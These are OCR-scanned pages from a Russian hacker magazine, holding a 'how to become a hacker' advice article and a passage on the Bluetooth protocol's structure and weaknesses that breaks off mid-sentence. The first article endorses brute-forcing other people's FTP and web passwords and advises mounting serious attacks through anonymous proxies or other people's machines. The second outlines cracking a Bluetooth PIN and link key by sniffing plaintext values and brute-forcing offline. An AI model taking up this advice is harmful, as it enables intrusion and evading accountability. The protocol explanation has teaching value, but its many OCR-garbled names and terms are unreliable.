действия хакера противоза- 
конны и эта статья предназ- 
начена лишь для ознако- 
мления и организации пра- 
вильной защиты с твоей 
стороны. За применение 
материала в незаконных 
целях автор и редакция от- 
ветственности не несут. 



К НАМ ПРИХОДИТ ОЧЕНЬ МНОГО ПИСЕМ, В КОТОРЫХ ЧИТАТЕЛИ ПРО- 
СЯТ ПОДЕЛИТЬСЯ СЕКРЕТАМИ МАСТЕРСТВА, ЖЕЛАЯ УЗНАТЬ, КАК 
СТАТЬ ПРОФЕССИОНАЛЬНЫМ ВЗЛОМЩИКОМ. НЕРЕДКО В СВОИХ ПИСЬ- 
МАХ ОНИ СПРАШИВАЮТ И О ТОМ, КАКИЕ САЙТЫ СЛЕДУЕТ ПОСЕЩАТЬ, 
КАКУЮ ЛИТЕРАТУРУ ЧИТАТЬ И КАКИЕ ОБЪЕКТЫ ЛОМАТЬ. ИЗ-ЗА ОСТ- 
РОЙ НЕХВАТКИ ВРЕМЕНИ НА РАЗЪЯСНЕНИЯ МЫ СНАРЯДИЛИ ФОРБА ПИ- 
САТЬ СТАТЬЮ, В КОТОРОЙ ОТВЕТИМ НА ВСЕ ИНТЕРЕСУЮЩИЕ ТЕБЯ 
ВОПРОСЫ I Докучаев Дмитрий ака РогЬ 0огЬ@геаІ. хакер. ги) 

Как 

стать 

хакером 




Тернистый путь 
от ламера до взломщика 



как минимум две операционные системы и, конечно 
же, иметь большие связи и влияние на других взломщи- 
ков. Вот такое смутное определение. Быть может, ты со 
мной не согласишься, но я постараюсь рассказать, 
как приблизиться именно к такому эталону. Пожалуй- 
ста, не думай, что я зазнался и стараюсь объять 
необъятное — сам автор лишь частично удовлетворяет 
требованиям, описанным выше :). Однако надо стре- 
миться к тому, чтобы знать как можно больше. 

[терпение и труд] Я не буду мучить тебя нудной теори- 
ей, которая пригодится в дальнейшем, а постараюсь 
преподнести тебе несколько советов в удобочитае- 
мой форме. Но скажу наперед — несмотря на кажу- 
щуюся простоту всех моих рекомендаций, выполнить 
их будет довольно сложно. Поэтому раз захотел стать 
хакером, то наберись терпения и, самое главное, же- 
лания добиться своей цели. Готов? Тогда вперед! 

[ОЗ для хакера] Ты не раз мне писал, что у тебя возника- 
ли проблемы с установкой и использованием І_іпих, Рге- 
еВЗЬ и прочих отличных от ѴѴІпсіоѵѵз операционных си- 
стем. Я не знаю, кто тебе сказал, что если ты использу- 
ешь пингвина, то автоматически становишься хакером. 
В этом, конечно, есть доля правды, но очень маленькая. 
На самом деле операционная система должна удо- 
влетворять всего одному требованию — удобству. Если 
тебе удобно работать в Ѵ\/іпсІо\л/з, не устанавливай си- 
стему, которую ты совсем не знаешь, — только потеря- 
ешь время. Подумай, что программисты МісгозоРТ забо- 
тятся о тебе. Они сделали все, чтобы в их системе ты 
чувствовал себя комфортно. 

Но с другой стороны, [_ішх или ЕгееВЗО могут тебе 
очень пригодиться в хакерской деятельности. Без 
подобной оси никак не запустить нужный эксплойт, 
не научиться базовым командам, которые ты будешь 
использовать в повседневной хакерской жизни и т.д. 
В этой ситуации есть целых два решения. Первое за- 



[кто это?] Прежде чем что-либо 
советовать по совершенствова- 
нию навыков, хочу уточнить, кто 
такой хакер. Ни для кого не се- 
крет, что каких-то двадцать лет 
назад хакерами считались от- 
нюдь не злоумышленники, ло- 
мавшие серверы на заказ, а та- 
лантливые программисты, очень 
четко разбиравшиеся в своем 
ремесле. В моем понимании ха- 
кер — разносторонне развитый 
человек, который знает теорию 
сетевых ошибок и успешно при- 
меняет свои знания на практи- 
ке. Помимо этого, хакер дол- 
жен владеть навыками про- 
граммирования, неплохо знать 



[хакер 05 [77] 05] 
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[самый перспективный журнал] 



ключается в том, чтобы поставить себе 
виртуальную машину и запускать неизу- 
ченные ОС из-под нее. Второе решение 
— купить/попросить/найти бесплатно 
удаленный шелл и использовать его по 
мере необходимости. 



[ѴтѴѴаге в ѴѴіпйоѵѵв убивает двух зайцев сразу] можно меньшее ко- 
личество времени. 

Скрипткидис должен почувствовать грань, перейдя которую, 
следует остановиться на бессмысленных взломах и дефейсах и 
заняться более продуктивным делом. 

Поэтому здесь я могу дать только один совет — на начальном 
этапе не стоит загружать свою голову сложными методами атак 
типа ЬиІТег оѵеДІо\л/, зді-ігуесіюп или тап-іп-тісісііе. Я, напри- 
мер, начинал с простых вещей — искал бажные СѲІ-скрипты, 
список которых был опубликован на различных сайтах по безо- 



[способы атак] Насмотревшись фильмов «Хакеры», «Матрица» и 
«Пароль «Рыба-меч», ты начинаешь летать на крыльях эйфории и пы- 
таться взламывать сервера ІЧАЗА :). Спустись на землю, товарищ! Ты 
еще даже не скрипткидис, а уже мечтаешь о высоких подвигах! 
Вообще, скрипткидисы никогда никому не нравились. Все их не- 
навидят, высмеивают и не желают общаться с подобными лично- 
стями. Только вот непонятны причины такого явления — абсолют- 
но все взломщики изначально были кидисами. Они использовали 
чужие баги и ломали серверы ради дефейса либо из спортивно- 
го интереса. Просто, по их мнению, они давно стали круче и по- 
этому забивают на младшего брата. Пойми: если человек — 
скрипткидис, ничего плохого в этом нет. Это некоторый этап ста- 
новления хакера на ноги, изучение тактики хакерских действий и 
механизма работы различных систем. Здесь есть лишь един- 
ственное «но»: этот этап должен занимать в жизни хакера как 



[объекты для атак] Для начинающего хаке- 
ра практика намного важнее теории. Да- 
же если он не знает теоретических основ 
того или иного бага, но умеет с его помо- 
щью взламывать серверы — этот человек 
многого добился. В связи с этим может воз- 
никнуть вопрос: «Какие объекты для атак 
выбирать начинающим взломщикам?». На 
самом деле ответ до смешного прост: на- 
чинать нужно с самого себя :). 

Например ты прочитал о том, что был 
найден баг, дающий права администра- 
тора в системе ѴѴІпХР. К описанию при- 
кладывается рабочий эксплойт. Самая 
главная ошибка новичка в том, что он на- 
чинает искать жертву для того, чтобы про- 
верить силу сплойта на ней. Так делать 
никогда не следует. Почему? Приведу 
простой пример, и все станет понятно. 

Когда я был маленьким, я сам пострадал 
в подобной ситуации. На каком-то ха- 
керском сайте я нашел нкжер для ѴѴІпЫТ и стал искать непро- 
патченных жертв. Сервер нашелся быстро — какая-то мелкая 
контора. Потехи ради я завалил их сервак и радовался как ре- 
бенок (первый взлом, как-никак). Но днем позже мне в ІСО по- 
стучался наш администратор и предупредил, что мой біаіир- 
аккаунт с завтрашнего дня будет закрыт, а договор расторг- 
нут. Все из-за того, что провайдер получил жалобу с прило- 
женным логом атаки. Я долго злился, но потом понял, что очень 
легко отделался. Поэтому, как говорится, не зная броду, не 
лезь в воду. Если у тебя руки чешутся протестировать какой-ни- 
будь эксплойт — проверяй его на себе или на друзьях, чтобы 
потом не было мучительно больно. Все серьезные атаки нужно 
совершать только с анонимным проксиком или с чужой маши- 
ны. Об анонимности в Сети было написано много статей. Обя- 
зательно найди и перечитай все эти материалы. 



ѵтѵѵаге 



Зііті Іші 



[БЕЗОПАСНОСТЬ ДОРОЖЕ ВСЕГО] 

Если, несмотря на все уговоры, ты встал на шаткую 
хакерскую стезю, обязательно позаботься 
о собственной безопасности. Даже если ты ничего 
плохого не делаешь, у тебя должна быть выработана 
привычка защищать себя в Сети. Обязательно ис- 
пользуй соке или прокси-серверы, которые можно 
найти в инете. Помимо этого, будь осторожен и стань 
параноиком :). Это не повредит. Общайся на хакерс- 
кие темы только с РОР-плагином либо в 35ЫВС, 
благо такие сети имеются. Никогда не свети свой ад- 
рес, город и даже имя — это может в любой момент 
повернуться против тебя. И содрогайся от телефон- 
ных звонков, стука в дверь и внезапного отключения 
света — это они пришли за тобой :). 






[начинаем с Гугл-хака] пасности. Также я 

любил брутфорсить 

пароли для РТР и \л/еЬ-служб, если заранее знал имя пользова- 
теля. И надо сказать, такая практика выработала у меня нюх на 
простые пароли! В настоящее время с вероятностью в 30% я 
смогу подобрать нужный пароль ламера-американца всего за 
пару минут. Здесь важно понять, что методику взлома выбирает 
сам хакер, однако зацикливаться только на одной я бы не реко- 
мендовал. Зачем стоять на одном месте? 

[литература] Наверное, самый рейтинговый вопрос читателя зву- 
чит так: «РогЬ, посоветуй, какую литературу лучше всего прочи- 
тать, чтобы стать хакером??!». Два вопросительных и один воскли- 
цательный знак являются незаменимым атрибутом в этой фразе :). 
Вот что я могу сказать. В наше время достаточно зайти в любой 
книжный магазин, окинуть взглядом полки с компьютерной лите- 
ратурой и мгновенно затеряться в ассортименте. Я видел мно- 
го хакерских книг наподобие «Двадцать сценариев 
взлома» или «Как стать хакером». Почитав подобную 
литературу, я начал сомневаться в компетенции ав- 
торов и теперь даже сочувствую читателям, которые 
покупают это. 

Создается впечатление, что авторы придумывают мифи- 
ческие или устарелые баги и рассказывают, как просто 
с помощью них поднять свои права. При этом они откры- 
то забивают на уровень читателя — согласись, что про- 
фессиональный взломщик никогда не будет читать та- 
кие книги. Как-то раз от нечего делать я купил «Двадцать 
сценариев взлома». Вообще-то, я хотел прочесть о чем- 



нибудь новом и найти неизведанный ранее 
способ атаки. Но все сценарии оказались 
каким-то фантастическим романом, где ха- 
кер в течение десяти минут получил всю ин- 
формацию компании, сидя в своем автомо- 
биле с ноутбуком неподалеку от главного 
сервера. 

Поэтому не под давайся на громкие названия 
и не покупай таких книг. Лучше возьми себе 
пособие для начинающих программистов по 
интересующему тебя языку (я об этом скажу 
чуть позже) либо купи журнал «Хакер». Не 
сочти, что я пиарю наше издание, вовсе нет. 
Информация устаревает, баги закрываются 
администраторами, на их смену приходят 
новые бреши и способы взлома. И все они 
понятным языком изложены на страницах 
этого журнала. Поэтому если ты впервые ку- 
пил «Хакер», ты сделал верный шаг. С нами ты 
узнаешь много нового :). 

[лучшие сайты] Лучшее решение — учить- 
ся хакерским навыкам в глобальной Сети. 
Во-первых, это бесплатно. Во-вторых, быстро и удобно: ты мо- 
жешь легко сохранить страницу, чтобы изучать ее автономно. И 
наконец, информация, выложенная на порталах по безопасно- 
сти, всегда правдива и актуальна. Вот какие ресурсы я предла- 
гаю тебе посещать каждый день: 

Ш ѵшл/ѵ.зесигіЬуІаЬ.ги. «Секлаб» — очень раскрученный портал по бе- 
зопасности на русском языке. Здесь есть все, начиная от хакерских 
программ, заканчивая новостями и эксплойтами. Вдобавок ты мо- 
жешь легко потрепаться на форуме и найти себе брата по разуму, 
[г] т/ѵѵ/.хакѳр.ги. Название говорит само за себя. Для сайта мно- 
гие талантливые люди пишут интересные статьи по взлому. Кроме 
того, здесь есть форум журнала, где ты можешь задать интере- 
сующий вопрос и пообщаться с редакцией. 

[з] ѵтм/.раскеѣіогтзѳсигііу.пі. Очень хороший ресурс. Правда, на 
английском языке. Сюда я хожу за различными утилитами и эксплой- 
тами. Как-то давно, не найдя подходящего сплойта на других сайтах, 
я запросил в поиске гесІОаІ 6.0 ехрІоіТ и начал пробовать каждый 




[атака на самого себя] 
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[обзорный сайт с эксплойтами] найденный экземпляр. И с десятой 

попытки удача мне улыбнулась :). 

0 и/и /ѵ/.зесигііуіосиз.сот. «СекьюритиФокус» — очень интерес- 
ный и авторитетный портал, который посещают не только новички, 
но и профессионалы. Если ты хочешь узнать о самых новых уязви- 
мостях — тебе сюда. 

Е ѵѵуѵѵ /.к-оШ.сот. На «Котике» очень часто можно встретить 
Осіау-эксплойты, которых нет на других сайтах по безопасности. 
Конечно, спустя пару дней они появляются везде, но на этом пор- 
тале в первую очередь. Имей это в виду. 

[языки программирования] Любой хакер должен уметь про- 
граммировать. И не обязательно для того, чтобы писать соб- 
ственные эксплойты. Программирование может пригодить- 
ся взломщику в ситуации, когда необходимо написать ка- 
кое-нибудь средство автоматизации. Автосъемщик почты 
или какой-нибудь 55І_-брутфорс. О выборе языка програм- 
мирования можно говорить часами, однако лучше всего 
остановиться на том, который тебе более предпочтителен. 
Если у тебя был опыт работы на РНР — используй его. РегІ? 
Прекрасно! С++? Вообще замечательно. Эти высокоуров- 
невые языки помогут свернуть горы в хакерских делах и до- 
биться неимоверного успеха. 

Правда, здесь есть несколько подводных камней. Во-первых, 
не стоит кидаться на амбразуру и начинать учить АззетЫег. 
Да, знать А5М — это, безусловно, круто, но не для новичка. 
Хотя вот в нашем журнале в «Кодинге» появился раздел по 



[ДЕСЯТЬ СОВЕТОВ 
НАЧИНАЮЩЕМУ ВЗЛОМЩИКУ] 

ПО Никогда не общайся с незнакомыми людьми по ха- 
керским вопросам. Это может плохо кончиться. 

Щ Используй только удобный и проверенный софт для 
различных сетевых операций. 

Е Посещай форумы по безопасности. Не стесняйся 
задавать там вопросы и решать проблемы других. 

0 Имей пять-шесть почтовых ящиков на иностранных 
хостингах. Пригодится для анонимной переписки. 

Е Имей на вооружении два-три удаленных шелл-акка- 
унта. О пользе шелл-доступа я уже неоднократно рас- 
сказывал. 

Е Если к тебе постучались с проблемой — это символ 
того, что ты добился уважения. Обязательно помоги 
человеку решить проблему. 

Е Не проводи за компьютером 24 часа в сутки. Помни, 
что, помимо интернета, должен быть здоровый сон, 
личная жизнь и посещение учебного заведения. 

Е Каждый месяц покупай «Хакер» и «СпецХакер». 
Также перечитай все номера с 1999 года. Многие воп- 
росы после этого отпадут сами по себе. 

Е Никогда не берись за сложный и рискованный 
взлом, если еще не созрел для этого. Условная статья 
еще никого не украшала. 

@ Не сиди на халявном, то есть чужом инет-доступе. 
Это не что иное, как обыкновенное воровство. 



АЗМ'у. Думаю, он многому 
тебя научит! 

И еще один момент. Поста- 
райся освоить несколько язы- 
ков программирования. Если 
ты изучишь один, то другой 
дастся тебе очень легко (тут 
ситуация как с иностранными 
языками). В дальнейшем это 
поможет тебе без проблем 
разбираться в чужом коде, а 
также быстро приводить в ра- 
бочее состояние публичные 
сплойты. 

[круг общения] Любой хакер 
обязательно общается со 
своими коллегами. Чаще все- 
го по ІСО, реже в ІВС. Несом- 
ненно, лучше, чтобы твой со- 
беседник понимал во взломе 
намного больше, чем ты, и 
давал полезные советы. Если 
ты нашел такого человека — 
береги его. Никогда не зада- 
вай ему открыто ламерских 
вопросов. От избытка оных 
собеседник может просто 
отправить тебя в игнор. На 
данный момент у меня около десяти читателей, с которыми я 
держу связь и учу их некоторым премудростям. Они очень 
тактичны в общении и никогда не достают меня, когда я занят. 
Остальные (около сотни) находятся в перманентном игноре. 
Почему? По разным причинам. (Дай аську Форба! Ну что, 
жалко? Дай аську Форба, а? :) — Прим. Лозовского.) Я чело- 
век добрый и просто так никогда не буду игнорировать собе- 
седника. 

Также мне очень хочется сказать о хакерских командах. 
Лично я отношусь к ним нормально. Если двое или более че- 
ловек, не совсем разбирающихся во взломе, решили орга- 
низовать свой хак-тим, ничего в этом плохого нет. При усло- 
вии, что оба чувака взаимодополняют друг друга и не живут 
одними дефейсами. При подобном раскладе оба человека 
в скором времени вырастут в глазах окружающих, и в их ко- 
манду потянутся другие люди. А может быть, даже и про- 
фессиональные хакеры :). 

[вместо эпилога] Вот тебе и ответ на твой простой вопрос «Как 
стать хакером??!». Сложно? Я считаю, что нет. Нужно лишь быть 
терпеливым и целеустремленным — все остальное приложит- 
ся. Будь уверен в своих силах и не старайся решить невыполни- 
мую задачу. Найди себе протеже, который будет помогать в 
сложных случаях, а также хорошего адвоката (шутка :)). И верь, 
что у тебя обязательно получится достигнуть мастерства в сете- 
вой безопасности © 





просы и теперь ты будешь 
писать мне только по 
серьезным вопросам и 
предложениям :). 



[сайт начинающей хакерской команды] 
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Анатомия 
синего зуба 

ИНТЕРЕСНОЕ — РЯДОМ. ТЫ КАЖДЫЙ ДЕНЬ 
СТАЛКИВАЕШЬСЯ С ВШЕТООТН-УСТРОЙ- 
СТВАМИ И ОСОБЕННО НЕ ЗАДУМЫВАЕШЬСЯ 
НАД ТЕМ, КАК ОНИ РАБОТАЮТ И КАК УСТРО- 
ЕН ЭТОТ ПРОТОКОЛ. ТЫ МОЖЕШЬ ДАЖЕ 
ЮЗАТЬ ЧУЖИЕ ПРОГРАММЫ ДЛЯ ВШЕМС- 
КІЫѲ’А, ЭІЗСОѴЕПІЫѲ’А И ВЗЛОМА РІГМ’ОВ, 
ОДНАКО ПОСЛЕ ОПРЕДЕЛЕННОГО 
МОМЕНТА СТАНОВИТСЯ ИНТЕРЕСНО, ЗА 
СЧЕТ ЧЕГО И КАК ИМЕННО ОНИ РАБОТАЮТ. 
НАСТАЛО ВРЕМЯ ПРОСВЕЩАТЬСЯ. 

СЕЙЧАС Я РАССКАЖУ ТЕБЕ О ТОМ, КАК РА- 
БОТАЕТ И УСТРОЕН ВШЕТООТН, 

КАКИЕ НЕДОСТАТКИ В ЭТОМ ПРОТОКОЛЕ 
ЕСТЬ И ЗА СЧЕТ ЧЕГО РАБОТАЮТ ВСЕ 
ЭТИ ПРОГРАММЫ ДЛЯ АТАКИ СИНЕЗУБЫХ 
ДЕВАЙСОВ I Еіо'о (е1‘о-о@таіІ.ги) 

Устройство, принципы 
работы и недочеты 
протокола ВІиеІооІН 

[залог успеха] Несколько лет назад теле- 
фон с поддержкой ЫиеТооТТі был скорее 
хай-тек экзотикой, нежели чем-то действи- 
тельно популярным. Теперь же синий зуб 
стал настоящим стандартом для любых 
портативных устройств. Убедиться в этом 
совсем не сложно: стоит только включить 
поиск в любом людном месте, как сразу 
отыщутся три-четыре активных девайса, 
готовых к взаимодействию. 

Огромное число людей сейчас использует 
телефоны, оснащенные ЫиеТооТТі-адапте- 
рами. Мне очень запомнился забавный слу- 
чай. Я как-то раз приехал на одно людное 
мероприятие. Как водится, чтобы попасть 
внутрь, надо было пройти через металлоде- 
тектор и перетрясти все свои вещи, оставив 
на входе героин и патроны к пистолету Ма- 
карова. Меня досматривал какой-то зачу- 
ханный мент, который, копаясь в моих вещах, 
указал на ЫиеТооТТі-адаптер и спросил, не 
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ножик ли это случайно. Я невозмутимо от- 
ветил, что это не нож, а ЫиеТооТТі-адаптер 
для компьютера. Тут милиционер, видимо, 
услышал знакомое слово: расплылся в 
улыбке, достал из кармана какой-то убо- 
гий сименс, потыкал в него пальцем и ска- 
зал: «А, я знаю! Это чтобы мелодии закачи- 
вать! Проходи!». В общем, я посмеялся :). 



I) 



[Ііпк тападег ргоіосоі] Мы поднимаемся на уровень вверх. Перед 

нами І_іпк Мападег Ргоіосоі, І_МР. Он являет собой интерфейс, 
предназначенный для организации и управления связью между 
устройствами. При помощи предоставляемых функций можно ор- 
ганизовать линки между девайсами, шифровать передаваемую 
информацию, управлять режимами работы устройств и т.д. Важ- 
но понимать, хотя бы на пальцах, как работает этот протокол. При 
вызове одной из управляющих функций 1_МР в эфир передается 
пакет определенного содержания, который соответствует вы- 
званной процедуре. Другое устройство получает этот пакет, ин- 
-[ЫиеІгюФі и радио] Эту статью можно рассмотри- терпретирует его и отвечает схожим пакетиком, который посыла- 
вать как вводную к материалу о практическом взло- ется также через интерфейс 1_МР. Для обмена информацией про- 
ме Ыиеі'ооі'іі-устройств. Ведь прежде чем начинать токол использует пакеты типов ЭМ1 и ЭѴ, в зависимости от объе- 
злодействовать, необходимо вникнуть в суть систе- ма передаваемых данных, 
мы и разобраться с ее работой. Этим мы с тобой 

сейчас и займемся. Я опишу функционирование протокола снизу вверх, начиная с физического уровня и заканчи- 
вая командными интерфейсами, а также укажу слабые места протокола. 

Спецификацию ЫиеТооІ'М можно разбить на несколько уровней, на каждом из которых решаются свои задачи. В са- 
мом нижнем логическом слое спецификации протокола описан так называемый гасііоіеѵеі, то есть физический уро- 
вень, регламентирующий порядок передачи данных по радиоканалу. Согласно стандарту протокол использует ди- 
апазон частот от 2402 МГц до 2480 МГц, при этом частота меняется в этих рамках с шагом в 1 МГц что-то около 1600 раз 
в секунду по псевдослучайному закону. Это сделано для того, чтобы избежать гнусного явления — интерференции сиг- 
нала, а также чтобы свести к минимуму помехи от сторонних устройств, ведь в этом диапазоне частот работают пульты 
от телевизоров и автомобильных сигнализаций, \Л/і-РІ-оборудование и микроволновые печи. 

Следует отметить довольно занимательный факт: в некоторых странах (например во Франции) из-за странного за- 
конодательства производители ЫиеІооГГі-устройств вынуждены временно ограничить ширину используемого ча- 
стотного коридора с 79 МГц до 23 МГц. 

Что касается мощности сигнала, то здесь не все однозначно. Всего есть три мощностных класса. Первый подразуме- 
вает максимальную выходную мощность в 20 сІВт и позволяет работать на расстоянии до 100 метров. Мощность сиг- 
нала в устройствах второго класса достигает 4 сІВт, что позволяет держать связь внутри круга с радиусом 10 метров. 
И наконец, третий класс устройств может работать на расстоянии в несколько сантиметров и мощность сигнала у 
него — 0 сІВт. Обрати внимание, что 0 сІВт — это тоже мощность, и символический ноль совсем не означает отсут- 
ствие сигнала :). Некоторые устройства предоставляют возможность управлять мощностью антенны при помощи 
специальных 1_МР-команд (об этом интерфейсе я расскажу ниже). 

Что касается модуляции сигнала, то здесь применена гауссовская частотная модуляция (ѲР5К, баиззіап Ргедиепсу ЗІтіГТ 
Кеуіпд) с параметром фильтрации ВТ = 0,5. Тема эта не такая простая, и более подробное описание уместнее смотре- 
лось бы в каком-нибудь институтском учебнике по радиосвязи, так что если тебе и в самом деле интересно, советую по- 
читать документацию на нашем диске :) 



-{ЬазеЬапб: ЫиеТооТО и данные] ВІиеІооТН поддерживает два вида соединений: роігтМю- 
роіпі и роіп1-1о-тиІТІроіп1. Два и более устройства образуют маленькую беспроводную 
сеть, называемую рісопеТ. При этом один из девайсов является главным (тазіег) и пре- 
доставляет различные сервисы остальным. ЗІаѵе-устройство может параллельно рабо- 
тать в нескольких рісопеі'ах. Эта возможность одновременно является и настоящим ру- 
лезом, и головной болью. Так, например, при передаче данных между двумя устрой- 
ствами неавторизованный сторонний девайс злоумышленника вполне может попробо- 
вать получить доступ к передаваемой информации. Это, конечно, совсем не просто, од- 
нако не исключено. 

Но вернемся к нашему протоколу. Каждое ЫиеГооІГі-устройство имеет уникальный 48- 
разрядный адрес, представляющий собой 12 шестнадцатеричных чисел, для наглядно- 
сти разделенных побайтно двоеточием. Чтобы было понятнее, приведу пример адреса: 
00:0А:Э9:2Е:ЗВ:ВЕ. Думаю, ты заметил большое сходство с хорошо знакомыми тебе МАС- 
адресами сетевых карт :). На самом деле ВТ-адрес (ВТ_АЭЭР) — это и есть МАС устрой- 
ства. Он определяется производителем девайса и уникален для каждой железяки. Как 
легко догадаться, по ВТ_АЭОР можно судить о производителе устройства: на это указы- 
вают первые три байта адреса. В моем случае символы 00:0А:Э9 однозначно свидетель- 
ствуют о том, что я наткнулся на телефончик ЗопуЕгісззоп (смотри таблицу с соответстви- 
ем адресов и производителей). 

Теперь расскажу о том, как, собственно, выглядят ВТ-пакеты. Каждый пакет состоит из 
трех частей: кода доступа (68/72 бита), заголовка (54 бита) и, собственно, самих данных 
(0-2745 разряда). Код доступа используется для синхронизации данных, корректного 
разбиения на страницы, вычисления смещений и так далее. Всего есть три типа кодов: 
код канала (САС), устройства (ЭАС) и очереди (ІАС). Заголовок пакета, среди прочего, 
позволяет контролировать ошибки при передаче данных: он несет в себе информацию 
с подтверждением о доставке пакета, а также различные идентификаторы. Что касает- 
ся самих данных, то они могут представлять собой как голос, так и просто что-то аб- 
страктное. Само собой, в спецификации ЫиеІооГГі описано несколько типов пакетов, 
всего их 13 штук. Но более подробно об этом мы поговорим чуть ниже. 




Здесь ты найдешь полную 
информацию о соответ- 
ствии адресов первых 
байт ВТ-устройств фир- 
мам-производителям: 
МІр://зІапбагбз.іеее.огд/ге- 
даиІШоиі/оиіМ. 




В некоторых странах (на- 
пример во Франции) ис- 
пользуемый синим зубом 
частотный диапазон зако- 
нодательно урезан до 23 
мегагерц. 




На нашем диске ты най- 
дешь полные официаль- 
ные спецификации всех 
версий протокола Ыиеіо- 
оіб, а также неофи- 
циальную документацию 
с описанием слабых мест 
протокола. 



■{Ыие+ооПп и безопасность] Конечно, ЫиеІооИі проектировался с оглядкой на современную действительность, когда инфор- 
мация может стоить очень дорого и ее транспортировка, тем более по воздуху, должна быть максимально безопасной. ВІи- 
еІооИп использует довольно изощренное шифрование передаваемых данных и, на первый взгляд, прекрасно их защищает. 
Однако это только так кажется: у протокола есть свои недостатки, в которых мы сейчас попробуем разобраться. Но спер- 
ва нужно описать вообще сам процесс защиты информации. 

Для обеспечения секретности передаваемых данных ЫиеІооИі использует непростую многоуровневую схему, каждая ступень- 
ка в которой защищена предыдущей. При выполнении авторизации устройства только начальный параметр передается про- 
стым текстом, все остальные переменные защищены сложным ключом, который может меняться в зависимости от стадии аутен- 
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тификации. Этот шифр носит гордое имя Ііпк кеу, что мож- 
но перевести как «ключ канала». При передаче инфор- 
мации она просто ксорится с этим ключом и таким об- 
разом защищается от посторонних глаз. Как я уже гово- 
рил, на разных стадиях обмена информацией ключи ка- 
нала разные, они последовательно сменяют друг друга. 
Взаимодействие устройств начинается с генерации так 
называемого ключа инициализации. Создание этого чи- 
сла, как и вся авторизация устройств, основано на про- 
стом соображении: если оба девайса хотят соединения 
друг с другом, то их хозяева легко договорятся между со- 
бой о некотором общем секретном пароле РИМ — корот- 
кой цифре, например. И это число используется как от- 
правная точка для генерации всех последующих кодов. 
Еще одно маленькое отступление: в этой статье я буду 
стараться придерживаться тех же обозначений для иден- 
тификаторов и функций, что используются и в официаль- 
ной спецификации. Так, например, устройство, начинаю- 
щее процесс авторизации, я буду обозначать как А, в то 
же время девайс, с которым мы желаем соединиться, бу- 
дет называться не менее лаконично — В. Ключ инициали- 
зации в официальных доках обозначен как КіпіТ — я буду 
называть его так же, чтобы не путать тебя. 

Этот 128-битный ключ создается специальной функци- 
ей Е22(ВО_АЭЭР, РІІЧ, І(РІЫ), 1ІЧ.РАІЧЮ), где І(РІЫ) — дли- 
на пина в октетах, а 1Р0РАШ — случайное число, гене- 
рируемое устройством А и без всякой защиты переда- 
ваемое девайсу В. Шифр используется для защиты 
трафика при передаче параметров, с помощью кото- 
рых проводятся дальнейшие действия по аутентифика- 
ции устройств, в частности вычисление кода, которым 
будет криптоваться весь пользовательский трафик. 
После генерации КіпіГа он устанавливается ключом 
канала, и весь дальнейший обмен информацией за- 
щищается этим шифром. Затем создаются так назы- 
ваемые комбинированные ключи, используемые для 
шифрования пользовательских данных при переда- 
че между устройствами. Следует заметить, что на 
этот раз ключи разные — для передачи информации 
от А к В используется КаЬ, и наоборот, информация, 
передающаяся от В к А, защищается шифром КЬа. Ге- 
нерируются эти ключи следующим образом. 

Первым делом каждая девайсина создает по случайно- 
му числу — мы обозначим их І_К_РАІ\Юа и ЕК_РА!\ЮЬ. За- 
тем при помощи функции Е21(ЕК_РАМЭ, ВЭ_АЭЭІ?) гене- 
рятся два числа ЕК_Ка и ЕК_КЬ, причем в этот момент каж- 
дый девайс знает только свою величину, а цель дальней- 
шей работы устройств — сообщить друг другу эти числа 
так, чтобы никто чужой их не запалил. Что может быть про- 
ще! Заксорив КіпіГ'ом случайные числа и?_РАІ\Ю, устрой- 
ства меняются ими и вычисляют значения ЬК_К друг для 
друга. После этого уже очень легко получить ключи 
КаЬ=І_К_Ка ХОР І_К_КЬ и КЬа=Ц<_КЬ ХОР П<_Ка. 

После проделанных операций выполняется самая по- 
следняя и очень важная — конечная аутентификация, 
при которой устройство, провоцирующее подключе- 
ние, проходит проверку на желанность со стороны пас- 



сивного девайса. Для этого используется схема, которая получила название 
сГіаІІепде-гезропзе. Я долго думал над тем, как бы это перевести, и в итоге оста- 
новился на варианте, который мне предложили на Ііпдѵо. уапсіех.ги, — «оклик-от- 
зыв». Схема работает довольно просто, и ты сейчас в этом убедишься. 
Устройство А, которое запрашивает подключение, генерирует случайное чи- 
сло АІІ_РАШ и посылает его соседнему девайсу В. Устройство В вычисляет 
значение 3 специальной функции Е1(АІІ_РАЫ0, ВЭ_АЭЭР, КаЬ), где ВЭ_АЭЭР — 
это адрес устройства. Девайс В передает полученное значение 3 назад, и те- 
перь уже очередь А проделать то же самое, получив значение 3'. Ясен еж, 
что если оба устройства использовали одинаковый ключ КаЬ, то значения 3' 
и 3 совпадут, а аутентификация будет успешно пройдена. 

Если же устройства использовали различные ключи, попытка аутентификации 
будет неудачной и девайс В не будет некоторое время отвечать на запросы 
А. С ростом числа неудачных попкыток время ожидания будет расти экспо- 
ненциально, пока не упрется в некоторое максимальное значение. По за- 
думке инженеров, это должно было решить проблему тупого перебора РІІЧ- 
кода. Теперь даже если злоумышленник наколбасит какую-нибудь програм- 
му-брутфорсер, которая будет с одного и того же интерфейса в цикле пытать- 
ся установить соединение, то ничего из этой затеи не выйдет. 

После успешной аутентификации может быть включено дополнительное ши- 
фрование трафика, однако это является опциональной возможностью стан- 
дарта и не входит в базовый набор требований. Поэтому сейчас мы попробу- 
ем поискать слабые места в той части протокола, которую я тебе изложил. 

[атака на ЫиеГооГГі] В самом деле, так ли уж все безупречно? Конечно, нет! 
Подумай сам. В самом начале сеанса простым текстом пересылается пара- 
метр ІІ\І_РАМЭ, который при по- 
мощи определенных инстру- 
ментов вполне может быть от- 
снифан злоумышленником. Точ- 
но так же пересылается и па- 
раметр АІІ-РАШа. Что это да- 
ет? Обладая этой информаци- 
ей, уже вполне можно вычи- 
слить используемый для связи 
РІКІ-код и даже Ііпк кеу! Каким 
образом? Совершенно ясно, 
что сделать это аналитически 
невозможно, а значит, ответ 
прост: получить доступ к этим 
«секретным» данным можно [официальный сайт протокола — тт.ЫиеіооіІі.сот] 
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обычным перебором пина. Напишем простенькую программку, 
которая в цикле по всем возможным значениям РІІ\І будет вычи- 
слять последовательно значения-претенденты на І_К_Ка, І_К_КЬ, 
КаЬ=1_К_Ка ХОР [_К_КЬ и функцию Е1(АЩ?АІ\Юа, В0_АЭЭ1?Ь, КаЬ). 
В случае, если мы угадаем РІІЧ полученное значение функции 
совпадет с захваченным при снифинге. Таким образом, со 100% 
вероятностью можно восстановить используемый при соедине- 
нии РІЫ-код. Однако за какое время? :) Ну давай прикинем. Для 
каждой попытки необходимо один раз выполнить функцию Е22, 
два раза — Е21, один раз — Е1 и трижды посчитать ХОР. Это до- 
